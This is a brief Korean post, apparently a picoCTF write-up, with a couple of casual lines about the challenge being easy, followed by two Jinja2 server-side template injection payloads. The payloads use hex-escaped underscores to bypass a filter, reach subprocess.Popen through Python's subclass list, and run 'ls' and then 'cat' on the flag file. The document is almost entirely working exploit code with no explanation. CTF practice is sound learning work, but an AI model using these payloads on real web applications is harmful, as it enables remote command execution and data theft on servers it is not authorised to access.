pico ctf 이 미띤 넘들

 

햐 쉬운 문제인 줄 알고 괜히 너무 쉽게 덤벼들었다 
역시나 쉬운 문제였다 
쉬운 문제는 쉽게 쉽게 생각해보쟈 

 

# ..\templates\errors\123456789012345678901234568960123456789012345678901234567890123456789012345678901234567890123456789012345678 {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(273)('ls',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}

 

# ..\templates\errors\123456789012345678901234567890125626789012345678901234567890123456789012345678901234567890123456789012345678 {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(273)('cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}